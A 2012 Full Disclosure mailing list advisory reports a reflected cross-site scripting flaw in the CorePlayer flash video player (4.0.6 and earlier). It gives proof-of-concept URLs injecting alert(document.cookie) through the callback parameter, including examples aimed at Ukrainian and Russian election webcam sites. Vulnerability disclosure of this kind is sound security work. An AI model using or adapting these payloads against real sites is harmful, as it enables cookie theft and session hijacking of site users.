Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Cross-Site Scripting vulnerability in CorePlayer
From: "MustLive" <mustlive () websecurity com ua>
Date: Sun, 28 Oct 2012 23:56:38 +0200

Hello list!

I want to warn you about Cross-Site Scripting vulnerability in CorePlayer.

This is the same flash video player, which was used at online voting
translations - today, 28.10.2012, on parliamentary elections in Ukraine and
earlier this year on presidential elections in Russia.

Concerning elections in Ukraine. At spending 993.6 million gryvnas (approx.
$124.2 million) for webcam setup (including development of web site for
online translations), they haven't found money for security.

-------------------------
Affected products:
-------------------------

Vulnerable are CorePlayer 4.0.6 and previous versions. At web site
webvybory2012.ru version 1.3.2 is used and at web site vybory2012.gov.ua
version 4.0.6 is used.

----------
Details:
----------

XSS (WASC-08):

http://site/core_player.swf?callback=alert(document.cookie)

Examples:

http://vybory2012.gov.ua/js/elections/lib/core-player/build/core_player.swf?callback=alert(document.cookie)

http://webvybory2012.ru/flash/core-player.swf?callback=alert(document.cookie)

I mentioned about this vulnerability at my site
(http://websecurity.com.ua/6117/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Cross-Site Scripting vulnerability in CorePlayer MustLive (Oct 28)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]